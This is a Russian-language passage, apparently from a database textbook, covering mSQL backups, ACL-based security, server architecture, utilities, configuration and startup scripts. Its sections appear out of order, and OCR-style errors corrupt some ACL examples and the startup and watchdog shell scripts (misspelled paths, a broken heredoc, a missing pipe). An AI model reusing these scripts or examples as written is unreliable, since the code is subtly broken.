    Выбор метода зависит от ваших потребностей. Создать двоичный архив очень просто, и восстановление при этом происходит очень быстро. Однако при этом нельзя делать частичное восстановление, и вновь добавленные данные будут утеряны. С другой стороны, создание дампа в виде SQL может занять много времени, хотя он допускает частичное восстановление, правда, с некоторыми усилиями. Кроме того, дамп SQL можно создать в любой момент, в то время как для создания архива требуется завершить работу сервера, что может оказаться решающим фактором при интенсивной работе.


    И последнее, что следует учитывать, - вопрос переносимости. В отличие от двоичной резервной копии, дамп SQL - текстовый и целиком состоит из SQL-команд. При незначительной модификации, главным, образом для удаления специфического SQL, дамп SQL может быть импортирован любым совместимым со стандартом SQL сервером. Это очень удобный способ перемещения данных, если возникает необходимость перейти на новый сервер SQL.

    Система безопасности

    Система безопасности, поддерживаемая сервером mSQL, может, в зависимости от точки зрения, показаться как достоинством, так и недостатком. С одной стороны, ей легче управлять, чем в любой другой РСУБД. Эта легкость достигается благодаря упрощенности. К сожалению, такая упрощенность недопустима для сколько-нибудь сложных приложений баз данных.

    mSQL управляет безопасностью с помощью файла msql.acl, который находится в каталоге установки mSQL. Расширение .acl образовано от "Access Control List" - "Список контроля доступа" - очень гибкой системы авторизации, с некоторого времени используемой в ряде операционных систем и приложений. Формат файла msql.acl следующий:

    database=mydata

    read=*

    write=*

    host=*

    access=local,remote

    database=mynewdata read=*

    wriite=admin,root host=* access=local

    Для каждой базы данных есть ряд опций. Строки read и write указывают, каким пользователям вы хотите предоставить право чтения (SELECT) базы или записи (INSERT, UPDATE, DELETE) в базу данных. Строка host показывает, какие машины могут иметь удаленный доступ к базе. Если строка access содержит "local", значит, разрешены локальные подключения через сокеты Unix, а если содержит "remote", то разрешены удаленные подключения по TCP.

    В файле ACL допустим символ-маска "*" в полях read, write и host. Поэтому можно иметь такой ACL:

    database=mynewdata

    read=*

    write=msql*

    host=*. client.com,"isp.com

    access=local, remote

    Этот ACL означает, что любой пользователь любой машины в client.com, а также любой пользователь любой машины в любом домене, оканчивающемся на isp.com - например, wisp.com или lisp.com, - может иметь подключение к базе данных. Эти пользователи могут осуществлять чтение данных, но только пользователи, чьи имена начинаются с "msql", могут вносить в нее изменения.


    По умолчанию все права отсутствуют, поэтому если вы пропустите строку write, никто не сможет модифицировать базу данных. Отдельные пользователи и машины могут исключаться с помощью префикса "-" перед их именем. Рассмотрим пример:

    dataoase=moredata

    read=-bob,*

    write=jane

    host=-junk. isp.com,*, isp.com

    access=local,remote

    Этот ACL разрешает подключение всем хостам домена isp.com, за исключением junk.isp.com. Кроме того, чтение разрешено всем пользователям, кроме пользователя "bob". Только "jane" имеет право записи в базе данных. Поскольку по умолчанию установлен отказ в доступе, конкретно указывать, кому отказано в доступе, как "bob'y"" бессмысленно, если строка не содержит также символа "*".

    mSQL действует согласно первому обнаруженному соответствию. Например, строка read=*,-bob дает пользователю "bob" право чтения.

    Как указывалось ранее в этой главе, команда msqladmin reload перезагружает ACL после внесения вами изменений. Если вы ее не выполните, внесенные изменения будут учтены только при следующем перезапуске сервера.



    Архитектура

    Дэвид Хьюз преследовал три цели, создавая mSQL:

  • mSQL должна быть быстрой.

  • mSQL должна быть компактной.

  • mSQL должна обеспечивать множественность одновременных подключений.

    Высокая скорость была главной целью mSQL. Поскольку в большинстве коммерческих SQL-серверов разработчики стараются реализовать полную спецификацию SQL2, а кроме того, и собственные расширения языка, им приходится расплачиваться производительностью и размерами. MSQL, напротив, жертвует некоторыми наиболее изощренными возможностями коммерческих серверов в пользу скорости. Для проекта Minerva требовалась возможность быстрого выполнения большого числа простых SQL-запросов. Именно это позволяет делать mSQL.

    Скорость и размеры идут рука об руку. Как обнаружил Хьюз, если начать с самого основания и реализовать лишь самые необходимые функции, можно разработать SQL-сервер, который будет требовать столь мало ресурсов, что для его успешного использования не потребуется отдельной машины. В результате, mSQL обладает значительной частью функциональности основных РСУБД, требуя значительно меньших ресурсов.

    Скорости и размера, достигнутых в mSQL, было бы достаточно для того, чтобы успешно заменить Postgres в проекте Minerva. Хьюз, однако, хотел изменить и ту модель поведения, которая, собственно, заставила его искать альтернативу. Хьюз спроектировал mSQL так, чтобы та могла обрабатывать множественные одновременные подключения в рамках одного процесса. В результате получается маленький, быстрый, эффективный SQL-сервер, способный одновременно обрабатывать несколько запросов - локально или по сети.

    Для реализации своих проектных целей Хьюзу пришлось ограничить функциональность сервера. Диалект SQL, поддерживаемый mSQL, является подмножеством стандарта ANSI SQL2, содержащим наиболее употребительные команды, такие как CREATE, INSERT, SELECT, UPDATE и DELETE. Хьюз отказался от ресурсоемких операций, вроде поддержки транзакций. В том типе приложений, которые используют mSQL, функциональность, опущенная Хьюзом, обычно не требуется.


    mSQL является однопоточным сервером с очередью. Одновременно к серверу может подключиться любое число клиентов - до определенного предела. При отправке клиентом запроса к серверу mSQL ставит запрос в синхронную очередь и обрабатывает все запросы последовательно по одному. Эффективность такого решения зависит, таким образом, от способности сервера быстро обработать каждый запрос. Если запросы вовремя не обрабатывать, очередь будет расти, что в итоге приведет к краху сервера из-за превышения системных ограничений. Поэтому скорость является решающим фактором для успешной работы mSQL. На рис. 5-1 показана работа очереди mSQL и однопоточная работа.

    Однопоточная сущность mSQL устраняет необходимость в пакетной обработке. Поскольку запросы выполняются поочередно, они не способны помешать один другому. Конечно, было бы неплохо, если бы mSQL поддерживала транзакции, но в них нет необходимости для нормальной работы ядра базы данных при тех целях, которые ставились перед mSQL.

    mSQL поддерживает два типа соединений со стороны клиента. Удаленные клиенты подключаются к серверу через известный порт TCP/IP. Используя TCP/IP, база данных mSQL может предоставлять доступ любому компьютеру в мире через Интернет. Локальные соединения тоже могут производиться через TCP/IP, но лучшей производительности можно добиться, используя стандартный сокет Unix, что эффективнее примерно на 20%.

    Архитектура

    Рис. 5-1. Архитектура клиент,/сервер в mSQL

    С mSQL связан набор программ, позволяющих осуществлять полный доступ к базе данных. Монитор msql позволяет пользователю непосредственно направлять запросы серверу. Хотя во время разработки этот инструмент полезен, большинству пользователей необходим какой-либо интерфейс для доступа к базе данных посредством какого-либо приложения. Для поддержки разработки приложений mSQL имеет встроенный API на языке С, позволяющий любой С-программе соединяться с сервером mSQL через TCP/IP или сокет Unix.

    mSQL поддерживает также сетевой протокол, позволяющий подключаться к серверу по сети, используя другие языки, без С API. С помощью этих двух интерфейсов разработчики, использующие множество языков, разработали библиотеки для подключения к mSQL почти из любого известного языка. В данной книге рассказывается об использовании API для С, Perl, Java и Python.



    mSQL

    Концепции баз данных и их проектирование имеют очень важное значение, но вы, вероятно, хотите приступить к непосредственной работе с MySQL или mSQL. He исключено, что вы уже выбрали ту или иную СУБД соответственно своим потребностям. Возможно, однако, вы надеетесь, что эта книга поможет вам принять такое решение. В этой главе мы подробно разберем mSQL. Если вы уже стали приверженцем MySQL, то эту главу можно пропустить. Напротив, если вас привлекает mSQL или вы хотите больше узнать о внутренних механизмах обеих баз данных, следует начать с этой главы.

    mSQL является реляционной системой управления базами данных (РСУБД), открывшей эру дешевых баз данных малого и среднего масштаба с поддержкой SQL. Малые размеры, впечатляющая производительность и простота изучения сделали ее предпочтительным выбором растущего числа разработчиков программ для Интернет, которым не достает времени, чтобы стать экспертами в области программирования баз данных. Автор mSQL намеренно стремился к достижению этих целей, приступая к созданию программного продукта, способного заполнить зияющий пробел в ряду РСУБД.



    Установка mSQL

    Первым шагом при работе с mSQL является, естественно, загрузка и установка. Как вы это сделаете, зависит от типа предполагаемой платформы. mSQL появилась как приложение для Linux, и это та платформа, которую поддерживает Хьюз. Если у вас работает какая-то разновидность Unix, mSQL, скорее всего, сможет на ней работать. Даже если нет, mSQL поставляется с исходным текстом, и опытный С-программист исправит места, создающие несовместимость. Дистрибутив для Unix находится по адресу http://www.hughes.com.au.

    Если вы работаете под Windows или OS/2, для вас тоже не все потеряно: переложения для Win32 и OS/2 также активно поддерживаются. Последние версии mSQL для PC находятся по адресу http://blnet.com/ msqlpc/. Хотя эти приложения относительно новые, они всегда немного отстают от самых свежих версий, предоставляемых Хьюзом. В момент написания книги номер текущей версии для Unix был 2.0.7, текущей версии для Win32 - 2.0.4.1, и текущей версии для OS/2 - 2.06. Меньше повезло пользователям Мае. На Макинтош перенесены только клиентские средства для mSQL.

    Процедура установки зависит от платформы. Пользователям Unix придется компилировать свой дистрибутив, а для Win32 и OS/2 поставляются прекомпилированные двоичные файлы. Поскольку процедура установки меняется от одной версии к другой, мы не станем здесь останавливаться на ее подробностях. Вам следует изучить документацию, предоставленную вместе с вашим дистрибутивом, поскольку она наверняка соответствует точной процедуре установки для вашей версии.



    Утилиты mSQL

    Об одной из поставляемых с mSQL утилит, msqladmin, мы уже рассказали. mSQL содержит семь основных утилит, составляющих основу взаимодействия с ней. В дополнение к этим основным утилитам mSQL

    поддерживает облегченную утилиту обработки сценариев Lite и интерфейс к WWW под названием W3-mSQL. Помимо того, существуют многочисленные средства сторонних разработчиков. Сейчас мы подробно остановимся на базовых утилитах, поставляемых с mSQL, и пробежим по списку утилит "со стороны". К Lite и W3-mSQL мы обратимся позднее.

    Утилиты командной строки

    Каждая утилита командной строки имеет подробную подсказку, разъясняющую ее синтаксис. В основном этот синтаксис является копией команды msqladmln. Именно, параметр -h позволяет указать машину, а параметр -/ позволяет задать имя конкретного файла конфигурации.

    msql

    Это интерфейс командной строки к mSQL, позволяющий интерактивно выполнить команду SQL для заданной базы данных. Кроме обычных параметров, отмеченных выше, вы задаете имя базы данных, к которой хотите обратиться. Из всех утилит эта, вероятно, используется наиболее часто.

    msqldump

    Эта команда выводит все содержимое базы данных или таблицы, включая саму структуру таблицы, в виде ряда команд SQL. Результат работы этой утилиты можно использовать для создания резервной копии базы данных и воссоздания ее на другой машине.

    msqlimport

    Эта команда читает форматированный файл данных и добавляет их в указанную таблицу базы данных. Файл может иметь различный формат, в том числе с разделителем-запятой и кавычками.

    relshow

    Эта утилита выводит структуру базы данных и находящихся в ней таблиц. Она полезна, если вам нужно узнать, какие таблицы есть в базе данных или какие колонки существуют в нужной таблице.

    msqlexport

    Эта утилита выводит содержимое таблицы на стандартное устройство вывода в виде текстового файла с разделителями. Многие другие СУБД и приложения, такие как Microsoft Excel, могут читать этот файл и импортировать из него данные.

    Поддержка сторонними разработчиками


    Как и для любого популярного в сети Интернет программного продукта, существуют многочисленные программы сторонних разработчиков, поддерживающие mSQL. Они охватывают диапазон от утилит конвертирования до интерфейсов программирования. Как бы вы ни применяли mSQL, вы наверняка будете использовать хотя бы один из перечисленных здесь продуктов сторонних разработчиков. Конечно, этот список не может претендовать на полноту, поскольку состав имеющихся утилит ежедневно меняется. Самые свежие списки утилит

    сторонних разработчиков можно получить с веб-серверов Hughes и mSQL PC, о которых шла речь ранее в этой главе.

    Утилиты преобразования баз данных

    dbf2msql

    Преобразует файлы DBF в таблицы mSQL. DBF - это формат файлов базы данных dBASE, бывшей когда-то ведущей настольной базой данных. Хотя dBASE утратил популярность, формат DBF установился как наиболее распространенный для передачи данных между различными приложениями баз данных. Все главные настольные приложения баз данных могут читать и писать DBF-файлы. Это приложение полезно для экспорта/импорта данных в коммерческие настольные базы данных.

    mSQLpp

    Конвертирует ESQL (Ingres Embedded SQL - встроенный SQL для Ingres) в SQL, доступный для mSQL. ESQL встраивается прямо в исходный код программ на С, чтобы облегчить доступ к базам данных из С. Эта программа конвертирует файл исходного кода С с ESQL в файл исходного кода С, использующий стандартный API mSQL.v Она предназначена для работы в качестве препроцессора и обычно позволяет с помощью фильтрации использовать ESQL-файлы с mSQL без всякой модификации.

    Интерфейсы CGI

    РНР

    Создает HTML-страницы со специальными тегами, распознаваемыми анализатором РНР. РНР содержит интерфейсы к большинству основных баз данных, включая MySQL и mSQL. PHP более подробно освещается в главе 12 "РНР и другие средства поддержки HTML, управляемого базами данных".

    dbadmln

    Обеспечивает интерфейс CGI к mSQL. Это программа CGI, позволяющая обращаться к любой таблице базы данных mSQL, как если бы она была формой HTML. Можно модифицировать данные в таблице и далее осуществлять операции над самой базой данных.


    Jate

    Полный интерфейс CGI к mSQL. Jate имеет много сервисов, все они доступны через формы HTML. Можно просматривать и редактировать данные, а также настраивать вывод. Jate импортирует данные плоского файла через текстовые поля HTML. Она также оптимизирует некоторые данные и поисковые запросы перед отправкой их на сервер базы данных.

    mSQLCGI

    Еще один CGI-интерфейс к таблицам mSQL. Эта программа позволяет просматривать и модифицировать таблицы mSQL через WWW с использованием форм HTML. Особенностью этого интерфейса является необходимость обработки каждой таблицы, которую вы хотите использовать, специальной прилагаемой программой, прежде чем к ней можно будет получить доступ через Web.

    Клиентские приложения

    dbview

    Показывает структуру базы данных mSQL. Эта утилита сходна с relshow, но имеет некоторые дополнительные возможности. Например, dbview показывает количество записей в каждой таблице.

    XfSQL

    Обеспечивает полный доступ к данным таблиц mSQL в качестве клиента Xforms для X Window System. С помощью этого инструмента можно добавлять, удалять и просматривать данные таблиц в X Window System.

    XmSQL

    Обеспечивает полный доступ к данным таблиц mSQL как независимый от библиотеки клиент X Window System. Благодаря этому она будет компилироваться на любой системе X Window.

    mSQLsql

    Отображает форматированные таблицы. Используя эту утилиту, можно просматривать таблицу mSQL в различных видах, включая настраиваемые рамки и разделители для форматированных ASCII-таблиц. Можно также генерировать HTML-таблицы, используя заданные пользователем параметры.

    mSQLwin-relshow

    Аналог утилиты relshow для графического интерфейса Windows.

    Интерфейсы программирования

    ConNExS

    Предоставляет интерфейс между mSQL и электронной таблицей NexS. NexS является популярной электронной таблицей с возможностью интерактивной связи с внешним источником данных. ConNExS позволяет таблицам mSQL служить источником данных для электронных таблиц NexS. Все изменения в электронной таблице будут отображены в связанной с ней таблицей mSQL.


    mSQLBase

    Предоставляет API SQLBase как С-оболочку для программ, работающих с mSQL. SQLBase API - это API доступа к базам данных независимого разработчика, поддерживающий несколько основных серверов SQL. Эта программа транслирует mSQL API в SQLBase API, в результате чего клиенты SQLBase могут работать с mSQL.

    mSQLCLI

    Инкапсулирует С API для mSQL таким образом, что клиенты ODBC под OS/2 могут работать с mSQL. ODBC - распространенный независимый от баз данных API, поддерживаемый большинством баз данных под OS/2 и Windows. Эта оболочка реализует стандартные средства ODBC, поддерживаемые mSQL, но только для операционной системы OS/2. Она содержит минимальный уровень функциональности ODBC.

    msqldll

    Упаковывает С API для mSQL в виде DLL для Windows. С помощью этой DLL можно создавать приложения для Windows, используя Visual Basic или другой инструмент для программирования в Windows, работающий с DLL.

    MsqlJava

    Создает оболочку сетевого протокола TCP/IP mSQL для Java API, напоминающую mSQL С API. Помогает быстро начать создавать приложения Java разработчикам, которые уже знают mSQL С API, но не знакомы со стандартом JDBC API. MsqlJava работает только с JDK 1.0.

    mSQL-JDBC

    Реализует стандарт Java Database Connectivity (JDBC) API поверх сетевого протокола TCP/IP mSQL. Этот пакет поддерживает максимальный уровень функциональности JDBC, возможный для mSQL в среде JDK 1.1 и JDK 1.2 (Java 2), включая стандарт JDBC 2.O. В главе 14 "Java и JDBC" подробно обсуждается программирование на Java с использованием этого API, а в главе 22 "Справочник по JDBC" представлено полное справочное руководство по JDBC 2.0.

    MsqlODBC

    Реализует ODBC API для mSQL 1 в Windows. Дэвид Хьюз в настоящее время работает над реализацией для mSQL 2.

    mSQLPerl

    Обеспечивает сценариям Perl доступ к базам данных mSQL. В главе 10 "Perl", подробно обсуждается программирование на Perl для MySQL и mSQL, а в главе 21 "Справочник по Perl", представлено полное справочное руководство по mSQLPerl.


    mSQLPython

    Обеспечивает сценариям Python доступ к базам данных mSQL. В главе 11 "Python", подробно обсуждается программирование на Python для MySQL и mSQL, а в главе 20 "Справочник по Python", представлено полное справочное руководство по mSQLPython.

    mSQLRexx

    Поддерживает доступ к mSQL из REXX, языка сценариев, наиболее часто используемого в OS/2.

    mSQLTCL

    Позволяет программам на Tel иметь доступ к базам данных mSQL. Поддержка включает многие расширения Tcl, в том числе Tcl/Tk и Expect.

    mSQLVdb

    Обеспечивает доступ к базам данных mSQL через библиотеку базы данных Vdb. Vdb - не зависящий от типа базы данных API для С, позволяющий единому клиенту иметь доступ к различным серверам баз данных. Клиенты Vdb могут использовать этот API для доступа к базам данных mSQL.

    zmsql

    Обеспечивает объектно-ориентированный доступ к базам данных mSQL для программ на C++.

    Разное

    mod_auth_msql

    Осуществляет аутентификацию пользователей сервера Apache. Обычно Apache осуществляет контроль доступа с помощью простых текстовых файлов, содержащих имена пользователей и зашифрованные пароли. Данный модуль позволяет управлять доступом через базу данных mSQL.

    mSQLEmacs

    Расширяет базовую поддержку режима SQL в Emacs, обеспечивая отступы и выделение цветом для mSQL-диалекта SQL.

    msqlexpire

    Удаляет из таблиц mSQL устаревшие данные. Для использования этой программы нужно иметь в таблице mSQL колонку, содержащую возраст данных. Эта программа находит в таблице данные старше указанного возраста и удаляет их. Можно потребовать, чтобы msqlexpire посылала уведомления по электронной почте после каждого удаления.

    mSQLSSL

    Вводит в mSQL поддержку защищенных сетевых соединений по протоколу SSL. Чтобы использовать этот продукт, необходимо скомпилировать mSQL вместе с ним. Будучи установленным, полностью защищает ваши сетевые соединения от любопытных глаз.

    Sqs

    Генерирует уникальные числовые идентификаторы для таблиц базы данных. После установки этой программы на сервере как демона, любое число клиентов может соединяться с демоном, чтобы создавать, читать или удалять последовательности.

    Версии mSQL

    После выхода mSQL сообщество разработчиков программ немедленно подверглось его воздействию. Впервые появилась возможность работы с доступным по цене, поддерживающим SQL, ядром базы данных. Одной из поразительных особенностей было то, что оно не только было сравнимо по производительности с основными коммерческими продуктами, но на практике было быстрее - иногда более, чем в 100 раз -в тех областях, для которых предназначалось.

    Однако в наше время вычислительная среда долго не стоит на месте. С возникновением широкомасштабного сотрудничества через Интернет не стало проектов, недоступных для преданных им групп программистов. К 1996 году стали появляться другие недорогие реализации SQL, MySQL в их числе, и mSQL перестала существовать в одиночестве.

    В продолжение 1990-х Хьюз разрабатывал и совершенствовал mSQL. Однако ядро базы данных в итоге достигло той точки, где дальнейшая разработка требовала глубокого пересмотра всего проекта. Такая большая работа потребовала бы много времени, поскольку новый проект влечет новые ошибки и промахи. Одновременно необходимо осуществлять и поддержку существующего продукта. Таким образом, mSQL 2 появилась как переработка ядра базы данных при продолжении одновременной поддержки существующего продукта - mSQL 1.

    mSQL 2 вышла в то время, когда первоначальный продукт начал устаревать. Проблемы с устойчивостью и отсутствие важных функциональных возможностей, таких, как поддержка достаточного числа типов данных, заставляли искать другие решения, например MySQL. mSQL 2 обеспечила устранение многочисленных ошибок, досаждавших пользователям последних версий mSQL 1, и добавила многочисленные новые возможности, сохраняя при этом верность первоначальным целям проекта. Расширилось подмножество ANSI SQL, поддерживаемое mSQL, и было добавлено несколько новых типов данных. Был переработан способ индексирования, значительно повысивший мощь системы.

    Основные изменения, произведенные в mSQL 2 в сравнении с mSQL 1, следующие:

    Возросшие устойчивость и производительность


    В первом выпуске mSQL 2 были решены все известные проблемы со стабильностью в mSQL 1. Были устранены утечки памяти, а код тщательно протестирован для выявления ошибок. Общая производительность выросла, несмотря на добавление новых характеристик.

    Улучшенная поддержка индексов

    В первой версии mSQL использовалась очень слабая схема индексирования. В каждой таблице можно было иметь только один индекс, состоящий только из одной колонки, - первичный ключ. В mSQL 2 индексирование полностью переработано с целью поддержки более сложных и часто встречающихся задач. Теперь можно иметь несколько индексов для каждой таблицы и составлять их более чем из одной колонки. Индексирование теперь поддерживает индексные файлы как в виде В-дерева, так и в стиле AVL.

    Дополнительные типы данных

    В mSQL 2 добавились многие типы данных, что приближает его к полной реализации спецификации ANSI SQL2. Наряду с MONEY, DATE и TIME mSQL 2 поддерживает теперь и тип TEXT. В первоначальной версии mSQL все поля были фиксированной длины, и поэтому текстовые поля типа CHAR имели предустановленный размер. Часто для поддержки таких атрибутов, как адреса электронной почты или названия книг, приходилось определять большое поле типа CHAR, что приводило к неоправданному расходу памяти. Например, для поля адреса электронной почты вы определили бы поле CHAR(35). Даже если адрес оказывался "xxx@imaginary.com", mSQL использовал все 35 символов поля. Еще хуже то, что если адрес оказывался длиннее 35 символов, вам сильно не повезло. Новый тип данных TEXT решает обе проблемы, позволяя вам задать среднюю длину поля. Все, превышающее этот размер, будет храниться в буфере переполнения. При меньшем размере лишние символы не будут записываться. К сожалению, поля типа TEXT имеют недостатки, не позволяющие использовать их в качестве индексов и употреблять в предложениях типа LIKE.

    Улучшенный сервис и поддержка API

    Стандартный инструментарий, поставляемый с mSQL, улучшен с целью поддержки всех новых характеристик. Хьюз добавил новые функции, такие как, например, копирование и переименование таблиц в msqladmin. Приложение W3-msql для взаимодействия с WWW существенно переделано и дополнено. Язык сценариев переработан в Lite - язык с прямой поддержкой взаимодействия WWW и баз данных.

    Если вы новичок в mSQL, то почти наверняка начнете работать с mSQL 2. Если вы имеете дело с уже работающей системой, то следует скрупулезно учитывать различия между обеими версиями, особенно если вы собираетесь перейти на mSQL 2.



    Запуск mSQL

    mSQL - это действительно единственное ядро базы данных типа "завел и поехал". Иными словами, можно установить mSQL, запустить сервер и сразу заняться делом. Серверный процесс mSQL называется msql2d (для серверов mSQL 1 он называется msqld). Этот исполняемый файл и все утилиты, поступающие с дистрибутивом mSQL, находятся в каталоге bin. Запустить экземпляр mSQL можно, просто введя msql2d без всяких параметров командной строки.

    Такая реализация по умолчанию не всегда вас удовлетворит. В большинстве случаев потребуется отредактировать файл msql.conf в каталоге дистрибутива mSQL. Этот файл конфигурации mSQL 2 (в mSQL 1 он отсутствует) позволяет определить несколько часто используемых параметров. Его изменение обычно необходимо тогда, когда вы используете какой-нибудь прекомпилированный дистрибутив.

    Демон mSQL - не ветвящийся процесс. Это означает, что запуск его из командной строки оставит процесс работать на терминале, пока вы явно не нажмете CTRL-C, чтобы прекратить его, или не переведете процесс в фоновый режим. Под Unix можно запустить сервер mSQL из командной строки в фоновом режиме, введя команду:

    msqld2 &

    Следующий сценарий запускает процесс сервера mSQL при запуске системы и корректно завершает его при остановке системы:


    #!/bin/sh

    if [ $1 - "start" ]; then
    if [ -x /usr/local/Hughes/bin/msql2d ]; then

    su msql -c '/usr/local/Hughes/bin/nisql2d &'
    fi

    else

    if [ $1 = "stop" ]; then
    if [ -x /usr/local/Hughes/bin/msqladmin ]; then

    su msql -c '/usr/local/Hughes/bin/msqladmin shutdown'
    fi
    fi
    fi

    В этом сценарии предполагается, что вы запускаете mSQL в Unix с идентификатором пользователя msql. Разумеется, его нужно заменить конкретным ID пользователя, а также заменить /usr/'local/Hughes именем каталога, в который вы установили mSQL.

    Поскольку версия для Win32 не работает пока как служба NT, можно запускать mSQL из папки Автозагрузка (StartUp), просто поместив ярлык для файла msql2d.exe в папку Автозагрузка (использование команды msqladmin мы опишем ниже в данной главе).


    Хотя mSQL является очень устойчивой программой, иногда случаются какие-то неполадки, и сервер "умирает". В особенности ранние версии mSQL имели проблемы с устойчивостью, приводившие к неожиданному краху сервера. На этот случай желательно запустить какое-либо средство для проверки состояния сервера баз данных.

    Приведенный ниже сценарий Unix старательно проверяет, работает ли еще демон msql2d. Если сервер не активен, он перезапускается, и администратору машины посылается сообщение.

    #!/bin/sh

    # Извлечь ID процесса демона базы данных

    # Это годится для mSQL 2; для mSQL 1

    # Строка должна быть другой:

    # PID='cat /usr/local/Minerva/msqld.pid' PID='cat /usr/local/Hughes/msq!2d.pid'

    # Далее проверяется активность процесса сервера.

    # Эта строка пригодна для систем BSD (Linux)

    ALIVE='ps aux grep $PID | grep -v grep | awk '{print $2}"

    # Для систем SysV (Solaris) раскомментируйте следующую строку

    #ALIVE='ps -et grep $PID | grep -v grep | awk '{print $2}"

    if [ $ALIVE ]

    then

    REALLY_ALIVE='msqladmin version' DATE='date'

    #Если 'ERROR', или если

    # выдачи вообще не было, msqladmin

    # не могла подключиться к серверу баз данных

    if ! echo $REALLY_ALIVE | grep "^ERROR"

    then

    exit

    fi

    if [ ! $REALLY_ALIVE ]

    then exit;

    fi

    else

    # Для mSQL 1 должно быть /usr/local/Minerva/hin/msqld &

    # for mSQL installations /usr/local/Hughes/bin/msql2d &

    mail -s "mSQL daemon restarted" root@yourmachine.com <
    The mSQL daemon died unexpectedly and was restarted on $DATE.

    Sincerely,

    The mSQL Watchdog

    EOM

    fi

    После запуска mSQL может обмениваться данными с окружающим миром двумя способами. Связь с Интернетом происходит через порт TCP/IP. По умолчанию mSQL слушает порт 1112. mSQL2 слушает порт 1114. Вы можете при желании изменить номер порта либо во время компиляции (mSQL 1), либо через файл конфигурации (mSQL 2).

    Локальная связь происходит через сокеты Unix. Сокеты Unix выглядят обычными файлами файловой системы Unix. От обычных файлов их можно отличить по символу, следующему за именем при использовании флага `F` в команде Is. mSQL использует файл /deu/msql, в то время как mSQL 2 использует файл /usr/local/Hughes/msql2.sock.


    Запуск нескольких демонов

    Иногда может оказаться полезным запустить несколько серверов базы данных одновременно. Наиболее часто причиной этого служит желание увеличить производительность. Поскольку mSQL имеет однопо-точную архитектуру, она обрабатывает запросы последовательно. Если значительная часть обращений происходит лишь к одной из баз данных и даже таблиц, приложения, обращающиеся к другим базам данных или таблицам, могут простаивать длительное время в ожидании обработки запроса.

    В многопоточном сервере, таком как MySQL, вы не столкнетесь с этой проблемой, но и в mSQL можно обойти ее, запустив несколько процессов mSQL. Недостатком такого решения является то, что к одной базе данных может обращаться только один демон. Без этого ограничения один демон мог бы переписывать изменения, вносимые другим. Осуществить такое ограничение можно, указав каждому работающему экземпляру msql2d отдельный исходный каталог для хранения баз данных. В mSQL 2 это можно сделать через параметры командной строки и файл конфигурации. Для mSQL 1 придется компилировать и устанавливать mSQL несколько раз в разные каталоги.

    Чтобы установить для mSQL 2 второй каталог, используйте следующие команды:

    mkdir -p /usr/local/second_database/msqldb/. tmp

    ср /usr/local/Hughes/msql.conf /usr/local/Hughes/msql.acl\

    /usr/local/second_database

    chown -R msql /usr/local/second_database

    Запуск mSQLНекоторые Unix-системы используют mkdirs вместо mkdir -p, в других же такая возможность может вообще отсутствовать, и тогда каждый каталог придется создавать отдельно. Вам придется также заменить идентификатор пользователя, под именем которого вы запускаете msql2d, если он отличен от "msql". В Windows и OS/2 процедура та же, за исключением названий команд и символа-разделителя пути.

    Когда каталоги созданы и файлы скопированы, нужно отредактировать файл msql.conf из нового каталога, чтобы переменная Inst_Dir указывала на /usr/local/'second_database, а значение TCP_Port не конфликтовало с другими TCP-службами сервера. Значение Unix_Port можно не изменять, поскольку новый сокет будет образован в новом каталоге.


    Для запуска нового демона введите ту же команду msql2d со следующими параметрами:

    msql2d -f /usr/local/second_database/msql. conf

    При работе с mSQL 1 положение немного сложнее. Придется откомпилировать и установить mSQL столько раз, сколько экземпляров mSQL вы хотите запускать. Все ваши утилиты будут работать с любым экземпляром сервера.

    Файл конфигурации mSQL

    Мы уже сталкивались с файлом конфигурации mSQL, но еще не вникали в мелкие подробности. В mSQL 1 все, кроме безопасности, определялось во время компиляции. В mSQL 2 есть файл конфигурации, позволяющий управлять поведением сервера mSQL во время работы. Ниже дан пример файла конфигурации.

    [general]

    Inst_Dir = c:\usr\local\Hughes

    mSQL_User = msql

    Admin_User = root

    Pid_File = %I\msql2d.pid

    TCP_Port = 1114

    Unix_Port = %I\msql2.sock

    [system]

    Msync_Timer = 30

    Host_Lookup = True

    Read_0nly = False

    Remote_Access = True

    Local_Access = True

    [w3-msql]

    Auth_Host = NULL

    Footer = True

    Force_Private = False

    Сценарий конфигурации разделен на секции, как ini-файл в Windows, состоящие из пар ключ-значение. Сейчас для нас представляет интерес только секция general.

    Inst_Dir

    Каталог, в который установлена mSQL. Более точно, это каталог, в котором mSQL ищет ваш ACL-файл, РID-файл для mSQL, и каталог msqldb, в котором размещаются каталоги баз данных. В результате можно поддерживать несколько серверов mSQL с единым набором исполняемых файлов.

    mSQL_User

    ID пользователя, от имени которого запускается процесс mSQL.

    Admin_User

    ID пользователя, которому разрешено выполнять команды администрирования, такие как msqladmin, обсуждаемая в следующем параграфе.

    TCP_Port

    Порт TCP/IP, который будет слушать сервер. В Unix номер порта, меньший 1024, можно выбрать, только если сервер mSQL запущен суперпользователем.

    Unix_Port

    Имя файла сокета Unix. В этом файле мы использовали переменную % 1% вместо Inst_Dir.



    и mSQL используется структурированный язык

    Диалект SQL, используемый в MySQL и mSQL

    Для чтения и записи в базах данных MySQL и mSQL используется структурированный язык запросов (SQL). Используя SQL, можно осуществлять поиск, вводить новые данные или удалять данные. SQL является просто основополагающим инструментом, необходимым для взаимодействия с MySQL и mSQL. Даже если для доступа к базе данных вы пользуетесь каким-то приложением или графическим интерфейсом пользователя, где-то в глубине это приложение генерирует SQL-команды.

    SQL является разновидностью "естественного языка". Иными словами, команда SQL должна читаться, по крайней мере на первый взгляд, как. предложение английского языка. У такого подхода есть как преимущества, так и недостатки, но факт заключается в том, что этот язык очень непохож на традиционные языки программирования, такие как С, Java или Perl.

    В этой главе мы рассмотрим язык SQL, как он реализован в MySQL и mSQL. По большей части, диалект MySQL является надмножеством диалекта mSQL. Мы старательно отметим те случаи, где два диалекта расходятся. Однако в основном эта глава относится и к одной, и к другой СУБД.



    Индексы

    Хотя MySQL и mSQL обеспечивают более высокую производительность, чем любые большие серверы баз данных, некоторые задачи все же требуют осторожности при проектировании базы данных. Например, если таблица содержит миллионы строк, поиск нужной строки в ней наверняка потребует длительного времени. Как указывалось в главе 2, в большинстве баз данных поиск облегчается благодаря средству, называемому индексом.

    Индексы способствуют хранению данных в базе таким образом, который позволяет осуществлять быстрый поиск. К несчастью, ради скорости поиска приходится жертвовать дисковым пространством и скоростью изменения данных. Наиболее эффективно создавать индексы для тех колонок, в которых вы чаще всего собираетесь осуществлять поиск. MySQL и mSQL поддерживают одинаковый синтаксис для создания индексов:

    CREATE INDEX index_name ON tablename (column1,

    column2,

    columnN)

    MySQL позволяет также создавать индекс одновременно с созданием таблицы, используя следующий синтаксис:

    CREATE TABLE materials (id INT NOT NULL,

